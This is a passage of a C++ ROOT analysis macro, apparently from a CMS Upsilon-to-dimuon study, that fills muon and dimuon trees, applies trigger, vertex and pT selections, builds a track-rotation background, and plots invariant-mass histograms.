TTree(\"UpsilonTree\",\"UpsilonTree\");\n TTree *UpsilonTree_allsign = new TTree(\"UpsilonTree_allsign\",\"UpsilonTree_allsign\");\n TTree *UpsilonTree_trkRot = new TTree(\"UpsilonTree_trkRot\",\"UpsilonTree_trkRot\");\n\n MuTree->Branch(\"Reco_mu_size\", &Reco_mu_size, \"Reco_mu_size/I\");\n MuTree->Branch(\"nPlusMu\", &nPlusMu, \"nPlusMu/I\");\n MuTree->Branch(\"nMinusMu\", &nMinusMu, \"nMinusMu/I\");\n MuTree->Branch(\"muPt\", &muPt, \"muPt[Reco_mu_size]/F\");\n MuTree->Branch(\"muEta\", &muEta, \"muEta[Reco_mu_size]/F\");\n MuTree->Branch(\"muPhi\", &muPhi, \"muPhi[Reco_mu_size]/F\");\n MuTree->Branch(\"Reco_mu_type\", &Reco_mu_type, \"Reco_mu_type[Reco_mu_size]/I\");\n MuTree->Branch(\"Reco_mu_charge\", &Reco_mu_charge, \"Reco_mu_charge[Reco_mu_size]/I\" );\n MuTree->Branch(\"eventNb\", &eventNb, \"eventNb/I\");\n MuTree->Branch(\"runNb\", &runNb, \"runNb/I\");\n\n //UpsilonTree->Branch(\"nReco_QQ\", &nReco_QQ, \"nReco_QQ/I\");\n UpsilonTree->Branch(\"Centrality\", &Centrality, \"Centrality/I\");\n UpsilonTree->Branch(\"HLTriggers\", &HLTriggers, \"HLTriggers/I\");\n UpsilonTree->Branch(\"QQsign\", &QQsign, \"QQsign/I\");\n UpsilonTree->Branch(\"QQTrkDr03\", &QQTrkDr03, \"QQTrkDr03/I\");\n UpsilonTree->Branch(\"QQTrkDr04\", &QQTrkDr04, \"QQTrkDr04/I\");\n UpsilonTree->Branch(\"QQTrkDr05\", &QQTrkDr05, \"QQTrkDr05/I\");\n\n UpsilonTree->Branch(\"QQTrkPt02\", &QQTrkPt02, \"QQTrkPt02/I\");\n UpsilonTree->Branch(\"QQTrkPt03\", &QQTrkPt03, \"QQTrkPt03/I\");\n UpsilonTree->Branch(\"QQTrkPt04\", &QQTrkPt04, \"QQTrkPt04/I\");\n \n UpsilonTree->Branch(\"eventNb\", &eventNb, \"eventNb/I\");\n UpsilonTree->Branch(\"runNb\", &runNb, \"runNb/I\");\n UpsilonTree->Branch(\"invariantMass\", &invariantMass, \"invariantMass/F\");\n UpsilonTree->Branch(\"upsPt\", &upsPt, \"upsPt/F\");\n UpsilonTree->Branch(\"upsEta\", &upsEta, \"upsEta/F\");\n UpsilonTree->Branch(\"upsPhi\", &upsPhi, \"upsPhi/F\");\n UpsilonTree->Branch(\"upsRapidity\", &upsRapidity, \"upsRapidity/F\");\n UpsilonTree->Branch(\"muPlusPt\", &muPlusPt, \"muPlusPt/F\");\n UpsilonTree->Branch(\"muMinusPt\", &muMinusPt, \"muMinusPt/F\");\n UpsilonTree->Branch(\"muPlusEta\", &muPlusEta, \"muPlusEta/F\");\n UpsilonTree->Branch(\"muMinusEta\", &muMinusEta, \"muMinusEta/F\");\n UpsilonTree->Branch(\"muPlusPhi\", &muPlusPhi, \"muPlusPhi/F\");\n UpsilonTree->Branch(\"muMinusPhi\", &muMinusPhi, \"muMinusPhi/F\");\n // additional selection\n // id muplus\n UpsilonTree->Branch(\"_mupl_TrkMuArb\",&_mupl_TrkMuArb,\"_mupl_TrkMuArb/O\");\n UpsilonTree->Branch(\"_mupl_TMOneStaTight\",&_mupl_TMOneStaTight,\"_mupl_TMOneStaTight/O\"); // new bool, unused in upsilon(?)\n UpsilonTree->Branch(\"_mupl_nMuValHits\",&_mupl_nMuValHits,\"_mupl_nMuValHits/I\"); // new int, unused in upsilon\n UpsilonTree->Branch(\"_mupl_nPixWMea\",&_mupl_nPixWMea,\"_mupl_nPixWMea/I\"); // new int, unused in upsilon\n UpsilonTree->Branch(\"_mupl_nTrkWMea\",&_mupl_nTrkWMea,\"_mupl_nTrkWMea/I\"); // new int, unused in upsilon\n UpsilonTree->Branch(\"_mupl_StationsMatched\",&_mupl_StationsMatched,\"_mupl_StationsMatched/I\"); // new int, unused in Upsilon\n UpsilonTree->Branch(\"_mupl_pt_inner\",&_mupl_pt_inner,\"_mupl_pt_inner/F\"); // new float, unused.\n UpsilonTree->Branch(\"_mupl_pt_global\",&_mupl_pt_global,\"_mupl_pt_global/F\"); //new float, unused.\n UpsilonTree->Branch(\"_mupl_ptErr_inner\",&_mupl_ptErr_inner,\"_mupl_ptErr_inner/F\"); // new float, unused.\n UpsilonTree->Branch(\"_mupl_ptErr_global\",&_mupl_ptErr_global,\"_mupl_ptErr_global/F\"); //new float, unused.\n UpsilonTree->Branch(\"_mupl_nTrkHits\",&_mupl_nTrkHits,\" _mupl_nTrkHits/I\");\n UpsilonTree->Branch(\"_mupl_normChi2_inner\", &_mupl_normChi2_inner,\" _mupl_normChi2_inner/F\");\n UpsilonTree->Branch(\"_mupl_normChi2_global\",&_mupl_normChi2_global,\"_mupl_normChi2_global/F\");\n UpsilonTree->Branch(\"_mupl_dxy\",&_mupl_dxy,\"_mupl_dxy/F\");\n UpsilonTree->Branch(\"_mupl_dxyErr\",&_mupl_dxyErr,\"_mupl_dxyErr/F\");\n UpsilonTree->Branch(\"_mupl_dz\",&_mupl_dz,\"_mupl_dz/F\");\n UpsilonTree->Branch(\"_mupl_dzErr\",&_mupl_dzErr,\"_mupl_dzErr/F\");\n //id muminus\n UpsilonTree->Branch(\"_mumi_TrkMuArb\",&_mumi_TrkMuArb,\"_mumi_TrkMuArb/O\");\n UpsilonTree->Branch(\"_mumi_TMOneStaTight\",&_mumi_TMOneStaTight,\"_mumi_TMOneStaTight/O\"); // new bool, unused in upsilon(?)\n UpsilonTree->Branch(\"_mumi_nMuValHits\",&_mumi_nMuValHits,\"_mumi_nMuValHits/I\"); // new int, unused in upsilon\n UpsilonTree->Branch(\"_mumi_nPixWMea\",&_mumi_nPixWMea,\"_mumi_nPixWMea/I\"); // new int, unused in upsilon\n UpsilonTree->Branch(\"_mumi_nTrkWMea\",&_mumi_nTrkWMea,\"_mumi_nTrkWMea/I\"); // new int, unused in upsilon\n UpsilonTree->Branch(\"_mumi_StationsMatched\",&_mumi_StationsMatched,\"_mumi_StationsMatched/I\"); // new int, unused in Upsilon\n UpsilonTree->Branch(\"_mumi_pt_inner\",&_mumi_pt_inner,\"_mumi_pt_inner/F\"); // new float, unused.\n UpsilonTree->Branch(\"_mumi_pt_global\",&_mumi_pt_global,\"_mumi_pt_global/F\"); //new float, unused.\n UpsilonTree->Branch(\"_mumi_ptErr_inner\",&_mumi_ptErr_inner,\"_mumi_ptErr_inner/F\"); // new float, unused.\n UpsilonTree->Branch(\"_mumi_ptErr_global\",&_mumi_ptErr_global,\"_mumi_ptErr_global/F\"); //new float, unused.\n UpsilonTree->Branch(\"_mumi_nTrkHits\",&_mumi_nTrkHits,\" _mumi_nTrkHits/I\");\n UpsilonTree->Branch(\"_mumi_normChi2_inner\", &_mumi_normChi2_inner,\" _mumi_normChi2_inner/F\");\n UpsilonTree->Branch(\"_mumi_normChi2_global\",&_mumi_normChi2_global,\"_mumi_normChi2_global/F\");\n UpsilonTree->Branch(\"_mumi_dxy\",&_mumi_dxy,\"_mumi_dxy/F\");\n UpsilonTree->Branch(\"_mumi_dxyErr\",&_mumi_dxyErr,\"_mumi_dxyErr/F\");\n UpsilonTree->Branch(\"_mumi_dz\",&_mumi_dz,\"_mumi_dz/F\");\n UpsilonTree->Branch(\"_mumi_dzErr\",&_mumi_dzErr,\"_mumi_dzErr/F\");\n //dimuon variables\n UpsilonTree->Branch(\"QQtrig\", &QQtrig, \"QQtrig/I\");\n UpsilonTree->Branch(\"_dca\",&_dca,\"_dca/F\");// new float, unused in upsilon\n UpsilonTree->Branch(\"_ctau\",&_ctau,\"_ctau/F\");// new float, unused in upsilon\n UpsilonTree->Branch(\"_ctauErr\",&_ctauErr,\"_ctauErr/F\");// new float, unused in upsilon\n UpsilonTree->Branch(\"_ctauTrue\",&_ctauTrue,\"_ctauTrue/F\");// new float, unused in upsilon\n UpsilonTree->Branch(\"_zVtx\", &_zVtx,\"_zVtx/F\");\n UpsilonTree->Branch(\"vProb\", &vProb, \"vProb/F\");\n if(addExtraCentrality)\n {\n UpsilonTree->Branch(\"Npix\",&Npix,\"Npix/I\");\n UpsilonTree->Branch(\"NpixelTracks\",&NpixelTracks,\"NpixelTracks/I\");\n UpsilonTree->Branch(\"Ntracks\", &Ntracks, \"Ntracks/I\");\n UpsilonTree->Branch(\"SumET_HF\",&SumET_HF,\"SumET_HF/F\");\n UpsilonTree->Branch(\"SumET_HFplus\",&SumET_HFplus,\"SumET_HFplus/F\");\n UpsilonTree->Branch(\"SumET_HFminus\",&SumET_HFminus,\"SumET_HFminus/F\");\n UpsilonTree->Branch(\"SumET_HFplusEta4\",&SumET_HFplusEta4,\"SumET_HFplusEta4/F\");\n UpsilonTree->Branch(\"SumET_HFminusEta4\",&SumET_HFminusEta4,\"SumET_HFminusEta4/F\");\n UpsilonTree->Branch(\"SumET_ET\",&SumET_ET,\"SumET_ET/F\");\n UpsilonTree->Branch(\"SumET_EE\",&SumET_EE,\"SumET_EE/F\");\n UpsilonTree->Branch(\"SumET_EB\",&SumET_EB,\"SumET_EB/F\");\n UpsilonTree->Branch(\"SumET_EEplus\",&SumET_EEplus,\"SumET_EEplus/F\");\n UpsilonTree->Branch(\"SumET_EEminus\",&SumET_EEminus,\"SumET_EEminus/F\");\n UpsilonTree->Branch(\"SumET_ZDC\",&SumET_ZDC,\"SumET_ZDC/F\");\n UpsilonTree->Branch(\"SumET_ZDCplus\",&SumET_ZDCplus,\"SumET_ZDCplus/F\");\n UpsilonTree->Branch(\"SumET_ZDCminus\",&SumET_ZDCminus,\"SumET_ZDCminus/F\");\n }\n\n UpsilonTree_allsign->Branch(\"Centrality\", &Centrality, \"Centrality/I\");\n UpsilonTree_allsign->Branch(\"HLTriggers\", &HLTriggers, \"HLTriggers/I\");\n UpsilonTree_allsign->Branch(\"QQtrig\", &QQtrig, \"QQtrig/I\");\n UpsilonTree_allsign->Branch(\"QQsign\", &QQsign, \"QQsign/I\");\n UpsilonTree_allsign->Branch(\"QQTrkDr03\", &QQTrkDr03, \"QQTrkDr03/I\");\n UpsilonTree_allsign->Branch(\"QQTrkDr04\", &QQTrkDr04, \"QQTrkDr04/I\");\n UpsilonTree_allsign->Branch(\"QQTrkDr05\", &QQTrkDr05, \"QQTrkDr05/I\");\n UpsilonTree_allsign->Branch(\"QQTrkPt04\", &QQTrkPt04, \"QQTrkPt04/I\");\n UpsilonTree_allsign->Branch(\"QQTrkPt03\", &QQTrkPt03, \"QQTrkPt03/I\");\n UpsilonTree_allsign->Branch(\"QQTrkPt02\", &QQTrkPt02, \"QQTrkPt02/I\");\n UpsilonTree_allsign->Branch(\"weight\", &weight, \"weight/F\");\n UpsilonTree_allsign->Branch(\"weight2\", &weight2, \"weight2/F\");\n UpsilonTree_allsign->Branch(\"vProb\", &vProb, \"vProb/F\");\n UpsilonTree_allsign->Branch(\"eventNb\", &eventNb, \"eventNb/I\");\n UpsilonTree_allsign->Branch(\"runNb\", &runNb, \"runNb/I\");\n UpsilonTree_allsign->Branch(\"invariantMass\", &invariantMass, \"invariantMass/F\");\n UpsilonTree_allsign->Branch(\"upsPt\", &upsPt, \"upsPt/F\");\n UpsilonTree_allsign->Branch(\"upsEta\", &upsEta, \"upsEta/F\");\n UpsilonTree_allsign->Branch(\"upsPhi\", &upsPhi, \"upsPhi/F\");\n UpsilonTree_allsign->Branch(\"upsRapidity\",&upsRapidity, \"upsRapidity/F\");\n UpsilonTree_allsign->Branch(\"muPlusPt\", &muPlusPt, \"muPlusPt/F\");\n UpsilonTree_allsign->Branch(\"muMinusPt\", &muMinusPt, \"muMinusPt/F\");\n UpsilonTree_allsign->Branch(\"muPlusEta\", &muPlusEta, \"muPlusEta/F\");\n UpsilonTree_allsign->Branch(\"muMinusEta\", &muMinusEta, \"muMinusEta/F\");\n UpsilonTree_allsign->Branch(\"muPlusPhi\", &muPlusPhi, \"muPlusPhi/F\");\n UpsilonTree_allsign->Branch(\"muMinusPhi\", &muMinusPhi, \"muMinusPhi/F\");\n \n if(addExtraCentrality)\n {\n UpsilonTree_allsign->Branch(\"Npix\",&Npix,\"Npix/I\");\n UpsilonTree_allsign->Branch(\"NpixelTracks\",&NpixelTracks,\"NpixelTracks/I\");\n UpsilonTree_allsign->Branch(\"Ntracks\", &Ntracks, \"Ntracks/I\");\n UpsilonTree_allsign->Branch(\"SumET_HF\",&SumET_HF,\"SumET_HF/F\");\n UpsilonTree_allsign->Branch(\"SumET_HFplus\",&SumET_HFplus,\"SumET_HFplus/F\");\n UpsilonTree_allsign->Branch(\"SumET_HFminus\",&SumET_HFminus,\"SumET_HFminus/F\");\n UpsilonTree_allsign->Branch(\"SumET_HFplusEta4\",&SumET_HFplusEta4,\"SumET_HFplusEta4/F\");\n UpsilonTree_allsign->Branch(\"SumET_HFminusEta4\",&SumET_HFminusEta4,\"SumET_HFminusEta4/F\");\n UpsilonTree_allsign->Branch(\"SumET_ET\",&SumET_ET,\"SumET_ET/F\");\n UpsilonTree_allsign->Branch(\"SumET_EE\",&SumET_EE,\"SumET_EE/F\");\n UpsilonTree_allsign->Branch(\"SumET_EB\",&SumET_EB,\"SumET_EB/F\");\n UpsilonTree_allsign->Branch(\"SumET_EEplus\",&SumET_EEplus,\"SumET_EEplus/F\");\n UpsilonTree_allsign->Branch(\"SumET_EEminus\",&SumET_EEminus,\"SumET_EEminus/F\");\n UpsilonTree_allsign->Branch(\"SumET_ZDC\",&SumET_ZDC,\"SumET_ZDC/F\");\n UpsilonTree_allsign->Branch(\"SumET_ZDCplus\",&SumET_ZDCplus,\"SumET_ZDCplus/F\");\n UpsilonTree_allsign->Branch(\"SumET_ZDCminus\",&SumET_ZDCminus,\"SumET_ZDCminus/F\");\n }\n\n UpsilonTree_trkRot->Branch(\"Centrality\", &Centrality, \"Centrality/I\");\n UpsilonTree_trkRot->Branch(\"HLTriggers\", &HLTriggers, \"HLTriggers/I\");\n UpsilonTree_trkRot->Branch(\"QQtrig\", &QQtrig, \"QQtrig/I\");\n UpsilonTree_trkRot->Branch(\"QQsign\", &QQsign, \"QQsign/I\");\n UpsilonTree_trkRot->Branch(\"QQTrkDr03\", &QQTrkDr03, \"QQTrkDr03/I\");\n UpsilonTree_trkRot->Branch(\"QQTrkDr04\", &QQTrkDr04, \"QQTrkDr04/I\");\n UpsilonTree_trkRot->Branch(\"QQTrkDr05\", &QQTrkDr05, \"QQTrkDr05/I\");\n UpsilonTree_trkRot->Branch(\"QQTrkPt04\", &QQTrkPt04, \"QQTrkPt04/I\");\n UpsilonTree_trkRot->Branch(\"QQTrkPt03\", &QQTrkPt03, \"QQTrkPt03/I\");\n UpsilonTree_trkRot->Branch(\"QQTrkPt02\", &QQTrkPt02, \"QQTrkPt02/I\");\n\n UpsilonTree_trkRot->Branch(\"weight\", &weight, \"weight/F\");\n UpsilonTree_trkRot->Branch(\"weight2\", &weight2, \"weight2/F\");\n UpsilonTree_trkRot->Branch(\"vProb\", &vProb, \"vProb/F\");\n UpsilonTree_trkRot->Branch(\"eventNb\", &eventNb, \"eventNb/I\");\n UpsilonTree_trkRot->Branch(\"runNb\", &runNb, \"runNb/I\");\n UpsilonTree_trkRot->Branch(\"invariantMass\", &invariantMass, \"invariantMass/F\");\n UpsilonTree_trkRot->Branch(\"upsPt\", &upsPt, \"upsPt/F\");\n UpsilonTree_trkRot->Branch(\"upsEta\", &upsEta, \"upsEta/F\");\n UpsilonTree_trkRot->Branch(\"upsPhi\", &upsPhi, \"upsPhi/F\");\n UpsilonTree_trkRot->Branch(\"upsRapidity\",&upsRapidity, \"upsRapidity/F\");\n UpsilonTree_trkRot->Branch(\"muPlusPt\", &muPlusPt, \"muPlusPt/F\");\n UpsilonTree_trkRot->Branch(\"muMinusPt\", &muMinusPt, \"muMinusPt/F\");\n UpsilonTree_trkRot->Branch(\"muPlusEta\", &muPlusEta, \"muPlusEta/F\");\n UpsilonTree_trkRot->Branch(\"muMinusEta\", &muMinusEta, \"muMinusEta/F\");\n UpsilonTree_trkRot->Branch(\"muPlusPhi\", &muPlusPhi, \"muPlusPhi/F\");\n UpsilonTree_trkRot->Branch(\"muMinusPhi\", &muMinusPhi, \"muMinusPhi/F\");\n if(addExtraCentrality)\n {\n UpsilonTree_trkRot->Branch(\"Npix\",&Npix,\"Npix/I\");\n UpsilonTree_trkRot->Branch(\"NpixelTracks\",&NpixelTracks,\"NpixelTracks/I\");\n UpsilonTree_trkRot->Branch(\"Ntracks\", &Ntracks, \"Ntracks/I\");\n UpsilonTree_trkRot->Branch(\"SumET_HF\",&SumET_HF,\"SumET_HF/F\");\n UpsilonTree_trkRot->Branch(\"SumET_HFplus\",&SumET_HFplus,\"SumET_HFplus/F\");\n UpsilonTree_trkRot->Branch(\"SumET_HFminus\",&SumET_HFminus,\"SumET_HFminus/F\");\n UpsilonTree_trkRot->Branch(\"SumET_HFplusEta4\",&SumET_HFplusEta4,\"SumET_HFplusEta4/F\");\n UpsilonTree_trkRot->Branch(\"SumET_HFminusEta4\",&SumET_HFminusEta4,\"SumET_HFminusEta4/F\");\n UpsilonTree_trkRot->Branch(\"SumET_ET\",&SumET_ET,\"SumET_ET/F\");\n UpsilonTree_trkRot->Branch(\"SumET_EE\",&SumET_EE,\"SumET_EE/F\");\n UpsilonTree_trkRot->Branch(\"SumET_EB\",&SumET_EB,\"SumET_EB/F\");\n UpsilonTree_trkRot->Branch(\"SumET_EEplus\",&SumET_EEplus,\"SumET_EEplus/F\");\n UpsilonTree_trkRot->Branch(\"SumET_EEminus\",&SumET_EEminus,\"SumET_EEminus/F\");\n UpsilonTree_trkRot->Branch(\"SumET_ZDC\",&SumET_ZDC,\"SumET_ZDC/F\");\n UpsilonTree_trkRot->Branch(\"SumET_ZDCplus\",&SumET_ZDCplus,\"SumET_ZDCplus/F\");\n UpsilonTree_trkRot->Branch(\"SumET_ZDCminus\",&SumET_ZDCminus,\"SumET_ZDCminus/F\");\n }\n\n\n //____________________________________ loop over all events\n for (int i=0; i<nentries; i++) \n {\n t->GetEntry(i);\n // if(excludeWrongAlign_pa && runNb<=210658) continue;\n \n\n // ##### single muon tree\n // countng + and - single muons\n nPlusMu=0;\n nMinusMu=0;\n for(int iMu = 0; iMu < Reco_mu_size; iMu++)\n\t{\n\t if (Reco_mu_charge[iMu] == 1) nPlusMu++;\n\t else nMinusMu++;\n\t TLorentzVector *Reco_mu = (TLorentzVector *) Reco_mu_4mom->At(iMu);\n\t muPt[iMu]=Reco_mu->Pt();\n\t muEta[iMu]=Reco_mu->Eta();\n\t muPhi[iMu]=Reco_mu->Phi();\n\t}\n MuTree->Fill();\n\n // // ntrk loop\n // for(int iTrk = 0; iTrk < Reco_trk_size; iTrk++)\n // \t{\n // \t TLorentzVector *Reco_trk = (TLorentzVector *) Reco_trk_4mom->At(iTrk);\n // \t trkPt[iTrk]=Reco_trk->Pt();\n // \t trkEta[iTrk]=Reco_trk->Eta();\n // \t trkPhi[iTrk]=Reco_trk->Phi();\n // \t}\n\n //----------------------------------------------------\n for(int iQQ = 0; iQQ < Reco_QQ_size; iQQ++)\n\t{\n\t vProb = Reco_QQ_VtxProb[iQQ];\n\t QQsign = Reco_QQ_sign[iQQ];\n\t \n\t QQTrkDr03 = Reco_QQ_NtrkDeltaR03[iQQ];\n\t QQTrkDr04 = Reco_QQ_NtrkDeltaR04[iQQ];\n\t QQTrkDr05 = Reco_QQ_NtrkDeltaR05[iQQ];\n\n\t QQTrkPt04 = Reco_QQ_NtrkPt04[iQQ];\n\t QQTrkPt03 = Reco_QQ_NtrkPt03[iQQ];\n\t QQTrkPt02 = Reco_QQ_NtrkPt02[iQQ];\n\n\t //\t have to red a bit about the weighting Zhen calculates ...\n\t if (Reco_QQ_sign[iQQ] == 0) // opposite sign\n\t { \n\t weight = 1;\n\t weight2 = 1;\n\t }\n\t else // same sign\n\t {\n\t weight = -1;\n\t float likesign_comb = (float)nPlusMu*(nPlusMu-1.0)/2.0+(float)nMinusMu*(nMinusMu-1.0)/2.0; // number of combinatorial pairs C(nplus)^2, C(nminus)^2\n\t float unlikesign_bkgd_comb = (float)nPlusMu*nMinusMu - (nPlusMu>nMinusMu?nMinusMu:nPlusMu);\n\t weight2 = -1.0 * unlikesign_bkgd_comb/likesign_comb;\n\t }\n\t \n\t // dimuon variables\n\t TLorentzVector *Reco_QQ = (TLorentzVector *) Reco_QQ_4mom->At(iQQ);\n\t TLorentzVector *Reco_QQ_mupl = (TLorentzVector *) Reco_QQ_mupl_4mom->At(iQQ);\n\t TLorentzVector *Reco_QQ_mumi = (TLorentzVector *) Reco_QQ_mumi_4mom->At(iQQ);\n\t invariantMass = Reco_QQ->M();\n\t upsPt = Reco_QQ->Pt();\n\t upsEta = Reco_QQ->Eta();\n\t upsPhi = Reco_QQ->Phi();\n\t upsRapidity = Reco_QQ->Rapidity();\n\t \n\t // single muon variables\n\t muMinusPt = Reco_QQ_mumi->Pt();\n\t muMinusEta = Reco_QQ_mumi->Eta();\n\t muMinusPhi = Reco_QQ_mumi->Phi();\n\t muPlusPt = Reco_QQ_mupl->Pt();\n\t muPlusEta = Reco_QQ_mupl->Eta();\n\t muPlusPhi = Reco_QQ_mupl->Phi();\n\t \t \n\t // apply extra selection\n\t // id muplus\n\n\t _mupl_nTrkHits = Reco_QQ_mupl_nTrkHits[iQQ];\n\t _mupl_normChi2_inner = Reco_QQ_mupl_normChi2_inner[iQQ];\n\t _mupl_normChi2_global= Reco_QQ_mupl_normChi2_global[iQQ];\n\t _mupl_dxy = Reco_QQ_mupl_dxy[iQQ];\n\t _mupl_dxyErr = Reco_QQ_mupl_dxyErr[iQQ];\n\t _mupl_dz = Reco_QQ_mupl_dz[iQQ];\n\t _mupl_dzErr = Reco_QQ_mupl_dzErr[iQQ];\n\t _mupl_TrkMuArb = Reco_QQ_mupl_TrkMuArb[iQQ];\n\t _mupl_TMOneStaTight = Reco_QQ_mupl_TMOneStaTight[iQQ];\n\t _mupl_nMuValHits = Reco_QQ_mupl_nMuValHits[iQQ];\n\t _mupl_nPixWMea = Reco_QQ_mupl_nPixWMea[iQQ];\n\t _mupl_nTrkWMea = Reco_QQ_mupl_nTrkWMea[iQQ];\n\t _mupl_StationsMatched = Reco_QQ_mupl_StationsMatched[iQQ]; \n\t _mupl_pt_inner = Reco_QQ_mupl_pt_inner[iQQ];\n\t _mupl_pt_global = Reco_QQ_mupl_pt_global[iQQ];\n\t _mupl_ptErr_inner = Reco_QQ_mupl_ptErr_inner[iQQ];\n\t _mupl_ptErr_global = Reco_QQ_mupl_ptErr_global[iQQ];\n\n\t // id muminus\n\t \n\t _mumi_nTrkHits = Reco_QQ_mumi_nTrkHits[iQQ];\n\t _mumi_normChi2_inner = Reco_QQ_mumi_normChi2_inner[iQQ];\n\t _mumi_normChi2_global= Reco_QQ_mumi_normChi2_global[iQQ];\n\t _mumi_dxy = Reco_QQ_mumi_dxy[iQQ];\n\t _mumi_dxyErr = Reco_QQ_mumi_dxyErr[iQQ];\n\t _mumi_dz = Reco_QQ_mumi_dz[iQQ];\n\t _mumi_dzErr = Reco_QQ_mumi_dzErr[iQQ];\n\t _mumi_TrkMuArb = Reco_QQ_mumi_TrkMuArb[iQQ];\t\n\t _mumi_TMOneStaTight =Reco_QQ_mumi_TMOneStaTight[iQQ];\n\t _mumi_nMuValHits = Reco_QQ_mumi_nMuValHits[iQQ];\n\t _mumi_nPixWMea = Reco_QQ_mumi_nPixWMea[iQQ];\n\t _mumi_nTrkWMea = Reco_QQ_mumi_nTrkWMea[iQQ];\n\t _mumi_StationsMatched = Reco_QQ_mumi_StationsMatched[iQQ];\n\t _mumi_pt_inner = Reco_QQ_mumi_pt_inner[iQQ]; \n\t _mumi_pt_global = Reco_QQ_mumi_pt_global[iQQ];\n\t _mumi_ptErr_inner = Reco_QQ_mumi_ptErr_inner[iQQ];\n\t _mumi_ptErr_global = Reco_QQ_mumi_ptErr_global[iQQ];\n\n\t //dimuon variables\n\t \n\t QQtrig = Reco_QQ_trig[iQQ];\n\t _ctau = (invariantMass/3.0968)*Reco_QQ_ctau[iQQ];\n \t _ctauTrue = (invariantMass/3.0968)*Reco_QQ_ctauTrue[iQQ];\n \t _ctauErr = (invariantMass/3.0968)*Reco_QQ_ctauErr[iQQ];\n\t _zVtx=zVtx[iQQ];\t \n\t _dca=Reco_QQ_dca[iQQ];\n\t \n\t bool bProcess = false;\n\t if(!bAllTriggers) bProcess = ((HLTriggers&nTriggerBit)==nTriggerBit && (Reco_QQ_trig[iQQ]&nTriggerBit)==nTriggerBit && \n\t\t\t\t\tvProb>newVtxProbCut && muMinusPt>ptcut && muPlusPt>ptcut);\n\t // for PbPB sample, the v1 and v2 same trigger is in nNtriggerBit=1 and nTriggerBit=2 respectivelly\n\t /* if(isAArereco) bProcess = (( ( (HLTriggers&nTriggerBit)==nTriggerBit && (Reco_QQ_trig[iQQ]&nTriggerBit)==nTriggerBit ) || \n\t \t\t\t ( (HLTriggers&(nTriggerBit+1))==(nTriggerBit+1) && (Reco_QQ_trig[iQQ]&(nTriggerBit+1))==(nTriggerBit+1) ) )\n\t\t\t\t && vProb>newVtxProbCut && muMinusPt>ptcut && muPlusPt>ptcut);*/\n\t //special case of a new tree in which I match only by filter (I assume this is equivalent as having HLTriggers fired)\n\t if(isAArereco) bProcess = (( (Reco_QQ_trig[iQQ]&(nTriggerBit+1))==(nTriggerBit+1) || (Reco_QQ_trig[iQQ]&nTriggerBit)==nTriggerBit )&& vProb>newVtxProbCut && muMinusPt>ptcut && muPlusPt>ptcut ); \n\t if (bProcess)\n\t {\n\t if (i%1000==0) \t cout << i << endl;\n\t UpsilonTree_allsign->Fill();// all sign and all mass\n\t if (QQsign==0) // opposite sign\n\t\t{\n\t\t UpsilonTree->Fill();// OS and all mass\n\t\t if (Reco_QQ->M()>mass_min && Reco_QQ->M()<mass_max) \n\t\t {\n\t\t h_QQ_mass->Fill(Reco_QQ->M());// all upsilons in 7->14\n\t\t }\n\t\t if (Reco_QQ_mupl->Pt()>=ptcut && Reco_QQ_mumi->Pt()>=ptcut && Reco_QQ->M()>mass_min && Reco_QQ->M()<mass_max) \n\t\t {\n\t\t h_QQ_mass_1->Fill(Reco_QQ->M()); // all OS upsilons in 7->14 and pt_mu>4GeV/c\n\t\t }\n\t\t}//opposite sign\n\t else // same sign in the acceptance\n\t\tif (Reco_QQ_mupl->Pt()>=ptcut && Reco_QQ_mumi->Pt()>=ptcut && Reco_QQ->M()>mass_min && Reco_QQ->M()<mass_max) \n\t\t {\n\t\t h_QQ_mass_2->Fill(Reco_QQ->M());// all SS upsilons in 7->14 and pt_mu>4GeV/c\n\t\t }\n\t \n\n\t //--------------------------------------------------------\n\t // %%%%%%%%%% track rotation: redefine some of the variables, the others remain the same\n\t Double_t ran = gRandom->Rndm();\n\t \n\t if(ran < 0.5 ) RmuPlusPhi = muPlusPhi + TMath::Pi();\n\t else RmuMinusPhi = muMinusPhi + TMath::Pi();\n\t \n\t TLorentzVector mu1;\n\t mu1.SetPtEtaPhiM( muPlusPt, muPlusEta, RmuPlusPhi, 0.105);\n\t TLorentzVector mu2;\n\t mu2.SetPtEtaPhiM( muMinusPt, muMinusEta, RmuMinusPhi, 0.105);\n\t \n\t TLorentzVector dimuon;\n\t dimuon = mu1 + mu2;\n\t \n\t invariantMass = dimuon.M();\n\t upsPt = dimuon.Pt();\n\t upsEta = dimuon.Eta();\n\t upsRapidity = dimuon.Rapidity();\n\n\t UpsilonTree_trkRot->Fill();\n\t \n\t}// if bProcess\n }// for each QQ pair\t\t\n }// for each event in the tree\n \n // __________________________________________________________________\n // ###### plotting \n TH1 * phMAxis = new TH1D(\"phMAxis\",\";m_{#mu#mu} [GeV/c^{2}];Events/(0.1 GeV/c^{2})\",1,mass_min,mass_max);\n phMAxis->SetDirectory(0);\n phMAxis->SetMinimum(1);\n phMAxis->SetMaximum(4e4);\n\n TCanvas *c1 = new TCanvas(\"c1\",\"c1\");\n phMAxis->Draw();\n \n //h_QQ_mass->GetYaxis()->SetRangeUser(0,180);\n h_QQ_mass->SetMarkerColor(kRed);\n h_QQ_mass->SetMarkerStyle(22);\n h_QQ_mass->Draw(\"PEsame\");\n \n h_QQ_mass_1->SetMarkerColor(kBlue);\n h_QQ_mass_1->SetMarkerStyle(20);\n h_QQ_mass_1->GetXaxis()->CenterTitle(kTRUE);\n h_QQ_mass_1->Draw(\"PEsame\");\n \n //h_QQ_mass_2->GetYaxis()->SetRangeUser(0,400);\n h_QQ_mass_2->SetMarkerColor(kRed);\n h_QQ_mass_2->SetMarkerStyle(24);\n h_QQ_mass_2->GetXaxis()->CenterTitle(kTRUE);\n h_QQ_mass_2->Draw(\"PEsame\");\n \n TLegend *legend = new TLegend(.4,.7,.8,.9);\n legend->SetTextSize(0.025);\n legend->AddEntry(h_QQ_mass, Form(\"OS && M [%.1f,%.1f]GeV: %.0f\",mass_min, mass_max,h_QQ_mass->Integral(1,nBins)),\"P\");\n legend->AddEntry(h_QQ_mass_1,Form(\"OS && M [%.1f,%.1f]GeV && p_{T}>%.1fGeV/c: %.0f\",mass_min, mass_max,ptcut,h_QQ_mass_1->Integral(1,nBins)),\"P\");\n legend->AddEntry(h_QQ_mass_2,Form(\"SS && M [%.1f,%.1f]GeV && p_{T}>%.1fGeV/c:%.0f\",mass_min, mass_max,ptcut,h_QQ_mass_2->Integral(1,nBins)),\"P\");\n\n legend->Draw();\n \n h_QQ_mass->Write();\n h_QQ_mass_1->Write();\n h_QQ_mass_2->Write();\n 